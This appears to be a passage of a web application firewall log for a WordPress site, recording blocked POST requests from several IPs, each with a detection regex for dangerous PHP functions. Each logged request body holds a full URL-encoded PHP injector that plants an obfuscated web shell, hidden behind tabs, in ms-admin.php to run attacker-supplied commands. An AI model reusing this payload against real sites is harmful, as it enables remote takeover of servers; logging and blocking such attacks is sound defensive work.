%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft Edge\";v=\"101\"\nsec-ch-ua-mobile:?0\nsec-fetch-site:none\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvozVvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz1vK2AioaMypaDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:5250\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47\n\nnb=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/ms-admin.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524restore_state6%2520%253D%2520%2522st%255Cx72e%255Cx61m_g%255Cx65t%255Cx5F%255Cx63%255Cx6Fn%255Cx74e%255Cx6Et%255Cx73%2522%253B%2520%2524restore_state7%2520%253D%2520%2522p%255Cx63%255Cx6C%255Cx6Fse%2522%253B%2520%2524restore_state4%2520%253D%2520%2522p%255Cx61s%255Cx73thru%2522%253B%2520%2524restore_state5%2520%253D%2520%2522po%255Cx70e%255Cx6E%2522%253B%2520%2524restore_state1%2520%253D%2520%2522s%255Cx79st%255Cx65m%2522%253B%2520%2524restore_state2%2520%253D%2520%2522%255Cx73%255Cx68el%255Cx6C%255Cx5Fe%255Cx78ec%2522%253B%2520%2524restore_state3%2520%253D%2520%2522%255Cx65xec%2522%253B%2520%2524settings%2520%253D%2520%2522%255Cx68ex2bi%255Cx6E%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx64%255Cx61ta%2522%255D%2529%2529%2520%257B%2520function%2520system_core%2520%2528%2524descriptor%2520%252C%2520%2524sym%2520%2529%2520%257B%2520%2524flg%2520%253D%2520%2527%2527%2520%253B%2520%2524n%253D0%253B%2520do%257B%2520%2524flg.%253Dchr%2528ord%2528%2524descriptor%255B%2524n%255D%2529%255E%2524sym%2529%253B%2520%2524n%252B%252B%253B%2520%257D%2520while%2528%2524n%253Cstrlen%2528%2524descriptor%2529%2529%253B%2520return%2520%2524flg%253B%2520%257D%2520%2524data%2520%253D%2520%2524settings%2528%2524_POST%255B%2522%255Cx64%255Cx61ta%2522%255D%2529%253B%2520%2524data%2520%253D%2520system_core%2528%2524data%252C%252078%2529%253B%2520if%2520%2528function_exists%2528%2524restore_state1%2529%2529%2520%257B%2520%2524restore_state1%2528%2524data%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524restore_state2%2529%2529%2520%257B%2520print%2520%2524restore_state2%2528%2524data%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524restore_state3%2529%2529%2520%257B%2520%2524restore_state3%2528%2524data%252C%2520%2524token_descriptor%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524token_descriptor%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524restore_state4%2529%2529%2520%257B%2520%2524restore_state4%2528%2524data%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524restore_state5%2529%2520%2526%2526%2520function_exists%2528%2524restore_state6%2529%2520%2526%2526%2520function_exists%2528%2524restore_state7%2529%2529%2520%257B%2520%2524sym_flg%2520%253D%2520%2524restore_state5%2528%2524data%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524sym_flg%2529%2520%257B%2520%2524marker_reference%2520%253D%2520%2524restore_state6%2528%2524sym_flg%2529%253B%2520%2524restore_state7%2528%2524sym_flg%2529%253B%2520print%2520%2524marker_reference%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 22:54:35","101.100.3.213","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> SM:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/ms-admin.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524restore_state6%2520%253D%2520%2522st%255Cx72e%255Cx61m_g%255Cx65t%255Cx5F%255Cx63%255Cx6Fn%255Cx74e%255Cx6Et%255Cx73%2522%253B%2520%2524restore_state7%2520%253D%2520%2522p%255Cx63%255Cx6C%255Cx6Fse%2522%253B%2520%2524restore_state4%2520%253D%2520%2522p%255Cx61s%255Cx73thru%2522%253B%2520%2524restore_state5%2520%253D%2520%2522po%255Cx70e%255Cx6E%2522%253B%2520%2524restore_state1%2520%253D%2520%2522s%255Cx79st%255Cx65m%2522%253B%2520%2524restore_state2%2520%253D%2520%2522%255Cx73%255Cx68el%255Cx6C%255Cx5Fe%255Cx78ec%2522%253B%2520%2524restore_state3%2520%253D%2520%2522%255Cx65xec%2522%253B%2520%2524settings%2520%253D%2520%2522%255Cx68ex2bi%255Cx6E%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx64%255Cx61ta%2522%255D%2529%2529%2520%257B%2520function%2520system_core%2520%2528%2524descriptor%2520%252C%2520%2524sym%2520%2529%2520%257B%2520%2524flg%2520%253D%2520%2527%2527%2520%253B%2520%2524n%253D0%253B%2520do%257B%2520%2524flg.%253Dchr%2528ord%2528%2524descriptor%255B%2524n%255D%2529%255E%2524sym%2529%253B%2520%2524n%252B%252B%253B%2520%257D%2520while%2528%2524n%253Cstrlen%2528%2524descriptor%2529%2529%253B%2520return%2520%2524flg%253B%2520%257D%2520%2524data%2520%253D%2520%2524settings%2528%2524_POST%255B%2522%255Cx64%255Cx61ta%2522%255D%2529%253B%2520%2524data%2520%253D%2520system_core%2528%2524data%252C%252078%2529%253B%2520if%2520%2528function_exists%2528%2524restore_state1%2529%2529%2520%257B%2520%2524restore_state1%2528%2524data%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524restore_state2%2529%2529%2520%257B%2520print%2520%2524restore_state2%2528%2524data%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524restore_state3%2529%2529%2520%257B%2520%2524restore_state3%2528%2524data%252C%2520%2524token_descriptor%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524token_descriptor%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524restore_state4%2529%2529%2520%257B%2520%2524restore_state4%2528%2524data%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524restore_state5%2529%2520%2526%2526%2520function_exists%2528%2524restore_state6%2529%2520%2526%2526%2520function_exists%2528%2524restore_state7%2529%2529%2520%257B%2520%2524sym_flg%2520%253D%2520%2524restore_state5%2528%2524data%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524sym_flg%2529%2520%257B%2520%2524marker_reference%2520%253D%2520%2524restore_state6%2528%2524sym_flg%2529%253B%2520%2524restore_state7%2528%2524sym_flg%2529%253B%2520print%2520%2524marker_reference%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Chromium\";v=\"116\", \"Not)A;Brand\";v=\"24\", \"Google Chrome\";v=\"116\"\nsec-ch-ua-mobile:?0\nsec-fetch-site:none\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvH00vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz9uqKEbMKuwMKO0nJ9hplV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:5250\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36\n\nSM=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/ms-admin.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524restore_state6%2520%253D%2520%2522st%255Cx72e%255Cx61m_g%255Cx65t%255Cx5F%255Cx63%255Cx6Fn%255Cx74e%255Cx6Et%255Cx73%2522%253B%2520%2524restore_state7%2520%253D%2520%2522p%255Cx63%255Cx6C%255Cx6Fse%2522%253B%2520%2524restore_state4%2520%253D%2520%2522p%255Cx61s%255Cx73thru%2522%253B%2520%2524restore_state5%2520%253D%2520%2522po%255Cx70e%255Cx6E%2522%253B%2520%2524restore_state1%2520%253D%2520%2522s%255Cx79st%255Cx65m%2522%253B%2520%2524restore_state2%2520%253D%2520%2522%255Cx73%255Cx68el%255Cx6C%255Cx5Fe%255Cx78ec%2522%253B%2520%2524restore_state3%2520%253D%2520%2522%255Cx65xec%2522%253B%2520%2524settings%2520%253D%2520%2522%255Cx68ex2bi%255Cx6E%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx64%255Cx61ta%2522%255D%2529%2529%2520%257B%2520function%2520system_core%2520%2528%2524descriptor%2520%252C%2520%2524sym%2520%2529%2520%257B%2520%2524flg%2520%253D%2520%2527%2527%2520%253B%2520%2524n%253D0%253B%2520do%257B%2520%2524flg.%253Dchr%2528ord%2528%2524descriptor%255B%2524n%255D%2529%255E%2524sym%2529%253B%2520%2524n%252B%252B%253B%2520%257D%2520while%2528%2524n%253Cstrlen%2528%2524descriptor%2529%2529%253B%2520return%2520%2524flg%253B%2520%257D%2520%2524data%2520%253D%2520%2524settings%2528%2524_POST%255B%2522%255Cx64%255Cx61ta%2522%255D%2529%253B%2520%2524data%2520%253D%2520system_core%2528%2524data%252C%252078%2529%253B%2520if%2520%2528function_exists%2528%2524restore_state1%2529%2529%2520%257B%2520%2524restore_state1%2528%2524data%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524restore_state2%2529%2529%2520%257B%2520print%2520%2524restore_state2%2528%2524data%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524restore_state3%2529%2529%2520%257B%2520%2524restore_state3%2528%2524data%252C%2520%2524token_descriptor%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524token_descriptor%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524restore_state4%2529%2529%2520%257B%2520%2524restore_state4%2528%2524data%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524restore_state5%2529%2520%2526%2526%2520function_exists%2528%2524restore_state6%2529%2520%2526%2526%2520function_exists%2528%2524restore_state7%2529%2529%2520%257B%2520%2524sym_flg%2520%253D%2520%2524restore_state5%2528%2524data%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524sym_flg%2529%2520%257B%2520%2524marker_reference%2520%253D%2520%2524restore_state6%2528%2524sym_flg%2529%253B%2520%2524restore_state7%2528%2524sym_flg%2529%253B%2520print%2520%2524marker_reference%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 22:54:38","62.210.185.4","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> QM:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/ms-admin.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524restore_state6%2520%253D%2520%2522st%255Cx72e%255Cx61m_g%255Cx65t%255Cx5F%255Cx63%255Cx6Fn%255Cx74e%255Cx6Et%255Cx73%2522%253B%2520%2524restore_state7%2520%253D%2520%2522p%255Cx63%255Cx6C%255Cx6Fse%2522%253B%2520%2524restore_state4%2520%253D%2520%2522p%255Cx61s%255Cx73thru%2522%253B%2520%2524restore_state5%2520%253D%2520%2522po%255Cx70e%255Cx6E%2522%253B%2520%2524restore_state1%2520%253D%2520%2522s%255Cx79st%255Cx65m%2522%253B%2520%2524restore_state2%2520%253D%2520%2522%255Cx73%255Cx68el%255Cx6C%255Cx5Fe%255Cx78ec%2522%253B%2520%2524restore_state3%2520%253D%2520%2522%255Cx65xec%2522%253B%2520%2524settings%2520%253D%2520%2522%255Cx68ex2bi%255Cx6E%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx64%255Cx61ta%2522%255D%2529%2529%2520%257B%2520function%2520system_core%2520%2528%2524descriptor%2520%252C%2520%2524sym%2520%2529%2520%257B%2520%2524flg%2520%253D%2520%2527%2527%2520%253B%2520%2524n%253D0%253B%2520do%257B%2520%2524flg.%253Dchr%2528ord%2528%2524descriptor%255B%2524n%255D%2529%255E%2524sym%2529%253B%2520%2524n%252B%252B%253B%2520%257D%2520while%2528%2524n%253Cstrlen%2528%2524descriptor%2529%2529%253B%2520return%2520%2524flg%253B%2520%257D%2520%2524data%2520%253D%2520%2524settings%2528%2524_POST%255B%2522%255Cx64%255Cx61ta%2522%255D%2529%253B%2520%2524data%2520%253D%2520system_core%2528%2524data%252C%252078%2529%253B%2520if%2520%2528function_exists%2528%2524restore_state1%2529%2529%2520%257B%2520%2524restore_state1%2528%2524data%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524restore_state2%2529%2529%2520%257B%2520print%2520%2524restore_state2%2528%2524data%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524restore_state3%2529%2529%2520%257B%2520%2524restore_state3%2528%2524data%252C%2520%2524token_descriptor%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524token_descriptor%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524restore_state4%2529%2529%2520%257B%2520%2524restore_state4%2528%2524data%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524restore_state5%2529%2520%2526%2526%2520function_exists%2528%2524restore_state6%2529%2520%2526%2526%2520function_exists%2528%2524restore_state7%2529%2529%2520%257B%2520%2524sym_flg%2520%253D%2520%2524restore_state5%2528%2524data%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524sym_flg%2529%2520%257B%2520%2524marker_reference%2520%253D%2520%2524restore_state6%2528%2524sym_flg%2529%253B%2520%2524restore_state7%2528%2524sym_flg%2529%253B%2520print%2520%2524marker_reference%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Microsoft Edge\";v=\"99\"\nsec-ch-ua-mobile:?0\nsec-fetch-site:none\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvHH0vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvZy9wo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:5250\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30\n\nQM=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/ms-admin.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524restore_state6%2520%253D%2520%2522st%255Cx72e%255Cx61m_g%255Cx65t%255Cx5F%255Cx63%255Cx6Fn%255Cx74e%255Cx6Et%255Cx73%2522%253B%2520%2524restore_state7%2520%253D%2520%2522p%255Cx63%255Cx6C%255Cx6Fse%2522%253B%2520%2524restore_state4%2520%253D%2520%2522p%255Cx61s%255Cx73thru%2522%253B%2520%2524restore_state5%2520%253D%2520%2522po%255Cx70e%255Cx6E%2522%253B%2520%2524restore_state1%2520%253D%2520%2522s%255Cx79st%255Cx65m%2522%253B%2520%2524restore_state2%2520%253D%2520%2522%255Cx73%255Cx68el%255Cx6C%255Cx5Fe%255Cx78ec%2522%253B%2520%2524restore_state3%2520%253D%2520%2522%255Cx65xec%2522%253B%2520%2524settings%2520%253D%2520%2522%255Cx68ex2bi%255Cx6E%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx64%255Cx61ta%2522%255D%2529%2529%2520%257B%2520function%2520system_core%2520%2528%2524descriptor%2520%252C%2520%2524sym%2520%2529%2520%257B%2520%2524flg%2520%253D%2520%2527%2527%2520%253B%2520%2524n%253D0%253B%2520do%257B%2520%2524flg.%253Dchr%2528ord%2528%2524descriptor%255B%2524n%255D%2529%255E%2524sym%2529%253B%2520%2524n%252B%252B%253B%2520%257D%2520while%2528%2524n%253Cstrlen%2528%2524descriptor%2529%2529%253B%2520return%2520%2524flg%253B%2520%257D%2520%2524data%2520%253D%2520%2524settings%2528%2524_POST%255B%2522%255Cx64%255Cx61ta%2522%255D%2529%253B%2520%2524data%2520%253D%2520system_core%2528%2524data%252C%252078%2529%253B%2520if%2520%2528function_exists%2528%2524restore_state1%2529%2529%2520%257B%2520%2524restore_state1%2528%2524data%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524restore_state2%2529%2529%2520%257B%2520print%2520%2524restore_state2%2528%2524data%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524restore_state3%2529%2529%2520%257B%2520%2524restore_state3%2528%2524data%252C%2520%2524token_descriptor%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524token_descriptor%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524restore_state4%2529%2529%2520%257B%2520%2524restore_state4%2528%2524data%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524restore_state5%2529%2520%2526%2526%2520function_exists%2528%2524restore_state6%2529%2520%2526%2526%2520function_exists%2528%2524restore_state7%2529%2529%2520%257B%2520%2524sym_flg%2520%253D%2520%2524restore_state5%2528%2524data%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524sym_flg%2529%2520%257B%2520%2524marker_reference%2520%253D%2520%2524restore_state6%2528%2524sym_flg%2529%253B%2520%2524restore_state7%2528%2524sym_flg%2529%253B%2520print%2520%2524marker_reference%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
